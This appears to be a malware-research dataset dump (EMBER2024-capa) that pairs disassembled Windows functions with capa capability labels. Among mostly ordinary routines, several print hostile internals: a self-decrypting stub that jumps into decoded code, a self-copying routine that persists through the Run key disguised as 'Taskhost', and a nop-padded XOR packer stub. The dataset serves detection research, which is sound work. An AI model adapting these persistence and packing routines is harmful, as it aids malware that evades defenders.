joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10336e9
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x308
mov eax, 0x1041843
call fcn.010030e2
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x310], edi
mov dword [ebp - 0x2fc], 1
cmp edi, esi
je 0x1033721
push 0x10045e4
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1033727
mov dword [ebp - 0x2fc], esi
mov dword [ebp - 4], esi
cmp dword [ebp - 0x2fc], esi
je 0x10338f0
push edi
lea ecx, [ebp - 0xa8]
call fcn.01011f55
lea eax, [ebp - 0xa8]
push eax
mov byte [ebp - 4], 1
call fcn.010325d9
mov eax, dword [ebp - 0xa8]
or edi, 0xffffffff
push edi
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xa8]
push 0x1021110
call dword [eax + 0x10]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x304], esi
mov dword [ebp - 0x300], esi
cmp ebx, esi
je 0x10337a5
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, ebx
mov ecx, 0x989680
mul ecx
sub dword [ebp - 0x304], eax
sbb dword [ebp - 0x300], edx
mov esi, 0x1021104
mov dword [ebp - 0x30c], esi
mov dword [ebp - 0x308], edi
lea eax, [ebp - 0x2f8]
push eax
push dword [ebp - 0xa4]
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push eax
lea ecx, [ebp - 0x30c]
call fcn.01033448
cmp dword [ebp - 0x308], edi
je 0x10338b7
push 0x1002e38
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x103389c
push 0x1021108
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x103389c
mov eax, dword [ebp - 0xa8]
push edi
push 0
push dword [ebp - 0x310]
lea ecx, [ebp - 0xa8]
call dword [eax + 0x10]
lea eax, [ebp - 0xa8]
push eax
call fcn.010325d9
push edi
push dword [ebp - 0x9c]
lea eax, [ebp - 0x2cc]
push eax
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa8]
call dword [eax + 0x10]
test byte [ebp - 0x2f8], 0x10
je 0x1033874
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xa4]
call fcn.010336e9
jmp 0x103389c
test ebx, ebx
je 0x1033890
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x2ec]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jg 0x103389c
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x2f8]
push eax
push dword [ebp - 0x308]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10337d9
push edi
lea ecx, [ebp - 0x30c]
mov dword [ebp - 0x30c], esi
call fcn.01033448
cmp dword [ebp + 0xc], 0
je 0x10338e5
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x10338e5
and dword [ebp - 0x2fc], eax
lea ecx, [ebp - 0xa8]
call fcn.01007e75
mov eax, dword [ebp - 0x2fc]
call fcn.01003122
ret 0xc
Function at 0x1033d30
Capabilities:
Access the windows event log

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x104a044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
call fcn.01033d1d
test al, al
je 0x1033ebd
push dword [esi + 0x14]
lea ecx, [ebp - 0x16c]
call fcn.0100a4da
push 0x100c148
lea ecx, [ebp - 0x16c]
call fcn.0100ab21
test al, al
je 0x1033da6
mov eax, dword [ebp - 0x16c]
cmp eax, dword [esi]
jne 0x1033da6
mov eax, dword [ebp - 0x168]
cmp eax, dword [esi + 4]
jne 0x1033da6
mov eax, dword [ebp - 0x164]
cmp eax, dword [esi + 8]
jne 0x1033da6
mov eax, dword [ebp - 0x15c]
cmp eax, dword [esi + 0x10]
je 0x1033ebd
push dword [esi + 0x14]
lea eax, [ebp - 0x24]
push 0x1033ecc
push 0x10
push eax
call fcn.0100a5fc
add esp, 0x10
test eax, eax
jl 0x1033ebd
push dword [esi + 0x10]
lea eax, [ebp - 0x44]
push 0x1017564
push 0x10
push eax
call fcn.0100a5fc
add esp, 0x10
test eax, eax
jl 0x1033ebd
push edi
xor edi, edi
push edi
push 0x2710
push dword [esi + 8]
push dword [esi + 4]
call fcn.0101a03d
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x14c]
push eax
mov dword [ebp - 0x148], edx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
test eax, eax
je 0x1033ebc
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x17c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test eax, eax
je 0x1033ebc
push 0x80
lea eax, [ebp - 0x144]
push eax
push edi
lea eax, [ebp - 0x164]
push eax
push edi
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
test eax, eax
jle 0x1033ebc
lea eax, [ebp - 0x24]
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x14c], eax
push 0x100bd5c
lea eax, [ebp - 0x144]
push edi
mov dword [ebp - 0x154], 0x10045e4
mov dword [ebp - 0x148], eax
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov esi, eax
cmp esi, edi
je 0x1033ebc
push edi
lea eax, [ebp - 0x154]
push eax
push edi
push 4
push edi
push 0x800003f7
push 1
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.01002376
leave
ret
Function at 0x1035362
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
test byte [ebp + 8], 2
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], eax
je 0x1035386
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test byte [ebp + 8], 1
je 0x10353cb
cmp dword [esi + 0x68], 0
je 0x10353cb
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x10353ac
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x103539e
sub eax, edx
sar eax, 1
lea edi, [eax + eax]
push edi
mov ecx, esi
call fcn.010352a6
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x68]
push edi
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
add dword [esi + 0x6c], edi
test byte [ebp + 8], 8
mov esi, dword [sym.imp.msvcrt.dll_fprintf]
mov edi, 0x1035414
je 0x10353ec
mov eax, dword [sym.imp.msvcrt.dll__iob]
push ebx
add eax, 0x40
push edi
push eax
call esi
add esp, 0xc
test byte [ebp + 8], 4
je 0x1035402
mov eax, dword [sym.imp.msvcrt.dll__iob]
push ebx
add eax, 0x20
push edi
push eax
call esi
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x103caaf
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x103caca
cmp dword [esi], 2
jae 0x103caca
push 0x7a
pop eax
jmp 0x103cb28
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x103cb28
cmp dword [ebp + 0x10], 7
je 0x103caf8
push 0xd
jmp 0x103cac7
mov ecx, dword [ebp + 0xc]
test edi, edi
je 0x103cb22
test cl, 1
jne 0x103caf4
mov eax, ecx
shr eax, 1
cmp eax, 1
jb 0x103caf4
cmp word [edi + eax*2 - 2], 0
jne 0x103caf4
cmp eax, 1
jbe 0x103cb22
cmp word [edi + eax*2 - 4], 0
jne 0x103caf4
shr ecx, 1
mov dword [esi], ecx
xor eax, eax
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x103d1c1
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x104a044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
cmp dword [0x104bd14], edi
jne 0x103d2dd
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x103d228
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
mov eax, dword [ebp - 0x110]
dec eax
mov dword [0x104bd14], edi
pop esi
je 0x103d2b0
dec eax
jne 0x103d2dd
cmp dword [ebp - 0x11c], 5
jne 0x103d29d
mov eax, dword [ebp - 0x118]
sub eax, edi
je 0x103d291
dec eax
je 0x103d27e
dec eax
je 0x103d264
mov dword [0x104bd14], 0x14
jmp 0x103d2dd
cmp word [ebp - 0xc], 1
jb 0x103d275
mov dword [0x104bd14], 0x10
or dword [0x104bd14], 4
jmp 0x103d2dd
cmp word [ebp - 0xc], 2
jb 0x103d275
mov dword [0x104bd14], 8
jmp 0x103d275
mov dword [0x104bd14], 4
jmp 0x103d2dd
cmp dword [ebp - 0x11c], 4
ja 0x103d2ef
mov dword [0x104bd14], 2
cmp dword [ebp - 0x11c], 4
jne 0x103d2dd
cmp dword [ebp - 0x118], edi
je 0x103d2d3
cmp dword [ebp - 0x118], 0xa
je 0x103d2d3
cmp dword [ebp - 0x118], 0x5a
jne 0x103d2dd
mov dword [0x104bd14], 1
mov ecx, dword [ebp - 4]
mov eax, dword [0x104bd14]
xor ecx, ebp
pop edi
call fcn.01002376
leave
ret
mov dword [0x104bd14], 0x20
jmp 0x103d2dd

Function at 0x103d300
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x104a044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x20
lea eax, [ebp - 0x44]
push eax
push 8
push 0x404
mov esi, 0xc04
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x103d354
push 3
lea eax, [ebp - 0x44]
push 0x103d364
push eax
call sub.msvcrt.dll_wcsncmp
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xfffff800
add esi, 0xc04
mov ecx, dword [ebp - 4]
mov ax, si
xor ecx, ebp
pop esi
call fcn.01002376
leave
ret

Function at 0x103d36f
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x104a044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp ax, word [0x104bd18]
jne 0x103d40a
push esi
lea eax, [ebp - 0x10]
push eax
push 1
xor esi, esi
push esi
push 0x103d500
push 0x80000002
mov dword [ebp - 0x14], 6
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x103d409
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push 0x103d5b8
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x10]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x103d409
push 3
push dword [esi*8 + 0x103d420]
lea eax, [ebp - 0xc]
push eax
call sub.msvcrt.dll__wcsnicmp
add esp, 0xc
test eax, eax
je 0x103d3fb
inc esi
cmp esi, 0x1c
jae 0x103d409
jmp 0x103d3da
mov ax, word [esi*8 + 0x103d424]
mov word [0x104bd18], ax
pop esi
mov ecx, dword [ebp - 4]
mov ax, word [0x104bd18]
xor ecx, ebp
call fcn.01002376
leave
ret
Function at 0x103e39b
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [0x104a094]
push ebx
lea ecx, [ecx + eax*4 - 4]
push esi
mov esi, dword [0x104a09c]
mov dword [ebp + 8], ecx
push edi
mov ecx, 0xff
test eax, eax
je 0x103e40d
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 0x10]
mov ebx, dword [0x104a098]
shr eax, 0x10
shr edi, 8
and eax, ecx
mov eax, dword [ebx + eax*4]
mov ebx, dword [0x104a08c]
and edi, ecx
xor eax, dword [esi + edi*4]
mov edi, dword [ebp + 0x10]
shr edi, 0x18
xor eax, dword [ebx + edi*4]
mov edi, dword [ebp + 0x10]
and edi, ecx
xor eax, dword [edx + edi*4]
mov edi, dword [ebp + 8]
xor eax, dword [edi]
dec dword [ebp + 0xc]
sub dword [ebp + 8], 4
cmp dword [ebp + 0xc], 0
mov dword [ebp + 0x10], eax
jne 0x103e3c5
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 0x10]
mov ebx, dword [0x104a098]
shr eax, 0x10
and eax, ecx
mov eax, dword [ebx + eax*4]
shr edi, 8
and edi, ecx
xor eax, dword [esi + edi*4]
mov esi, dword [ebp + 0x10]
mov edi, dword [0x104a08c]
shr esi, 0x18
xor eax, dword [edi + esi*4]
mov esi, dword [ebp + 0x10]
and esi, ecx
xor eax, dword [edx + esi*4]
pop edi
xor eax, dword [ebp + 0x10]
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x103e44f
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [0x104a094]
push edi
mov edi, dword [ebp + 8]
mov eax, edi
neg eax
xor ecx, ecx
and eax, 3
jmp 0x103e485
test eax, eax
je 0x103e489
mov edx, ecx
shr edx, 0x18
shl ecx, 8
xor ecx, dword [esi + edx*4]
movzx edx, byte [edi]
xor ecx, edx
dec ebx
inc edi
dec eax
test ebx, ebx
jne 0x103e46e
mov dword [ebp + 8], ebx
shr dword [ebp + 8], 2
push ecx
push dword [ebp + 8]
push edi
call fcn.0103e39b
mov ecx, eax
mov eax, dword [ebp + 8]
shl eax, 2
add edi, eax
sub ebx, eax
je 0x103e4be
mov eax, ecx
shr eax, 0x18
shl ecx, 8
xor ecx, dword [esi + eax*4]
movzx eax, byte [edi]
xor ecx, eax
dec ebx
inc edi
test ebx, ebx
jne 0x103e4a8
mov ebx, dword [0x104a098]
mov eax, ecx
shr eax, 0x10
mov edx, 0xff
and eax, edx
mov eax, dword [ebx + eax*4]
mov ebx, dword [0x104a09c]
mov edi, ecx
shr edi, 8
and edi, edx
xor eax, dword [ebx + edi*4]
mov ebx, dword [0x104a08c]
mov edi, ecx
shr edi, 0x18
xor eax, dword [ebx + edi*4]
mov edi, ecx
and edi, edx
xor eax, dword [esi + edi*4]
pop edi
pop esi
xor eax, ecx
pop ebx
pop ebp
ret 8
Function at 0x409490
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4178e5
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x422398]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 1
jle 0x40953b
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 4]
push edx
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov dword [ebp - 4], 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP90.dll_public:_wchar_t_const____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::c_str_void_const]
push eax
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf16_unsigned_short_int_const___int_]
add esp, 0xc
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov ecx, 0x42253c
call dword [0x423d64]
lea ecx, [ebp - 0x54]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
cmp dword [ebp - 0x10], 2
jle 0x40959c
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
push eax
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov dword [ebp - 4], 1
push 0xffffffffffffffff
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVCP90.dll_public:_wchar_t_const____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::c_str_void_const]
push eax
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf16_unsigned_short_int_const___int_]
add esp, 0xc
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
push edx
mov ecx, 0x422538
call dword [0x423d64]
lea ecx, [ebp - 0x58]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00414c52
mov esp, ebp
pop ebp
ret
Function at 0x40d7f0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417f34
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x422398]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xffffffff
sub esp, 0xc
mov eax, esp
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x18]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x10]
call fcn.00401190
mov edx, dword [eax]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.Qt5Widgets.dll_public:_void___thiscall_QWidget::constructor_class_QWidget___class_QFlags_enum_Qt::WindowType__]
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
mov dword [ecx], vtable.QReasonWidget.1.0
mov edx, dword [ebp - 0x20]
mov dword [edx + 8], vtable.QReasonWidget.0
mov ecx, dword [ebp - 0x20]
add ecx, 0x18
call fcn.00401870
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x1c], 0
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x20], 0
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x24], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0x28], 0
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x2c], 0
mov edx, dword [ebp - 0x20]
mov dword [edx + 0x30], 0
mov eax, dword [ebp - 0x20]
mov byte [eax + 0x34], 0
mov ecx, dword [ebp - 0x20]
call fcn.004011d6
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x414c52
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422398]
jne 0x414c5c
repz ret
jmp fcn.004151e3
Function at 0x40e15b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409cc3
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40e20e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e2b6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e2b6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40e20e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e267
cmp dword [0x416cbc], ecx
je 0x40e267
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e267
test ebx, ebx
je 0x40e267
call edi
test eax, eax
je 0x40e25e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e25e
test byte [ebp - 8], 1
jne 0x40e267
or dword [ebp + 0x10], 0x200000
jmp 0x40e29a
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e29a
push eax
call esi
test eax, eax
je 0x40e29a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e29a
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e29a
push eax
call esi
test eax, eax
je 0x40e29a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e2b6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e2b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004047f8
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.cmxjc48cjj.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3cf
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3b9
push ebx
push 3
jmp 0x40b3c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3ca
call fcn.0040ab7c
test eax, eax
je 0x40b442
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b442
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b442
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b49c
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b487
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b492
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b43b
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4be
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x41103c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4d8
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411054], ebx
jmp 0x40b3ca

Function at 0x40cd56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd60
repz ret
jmp fcn.0040cffb

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219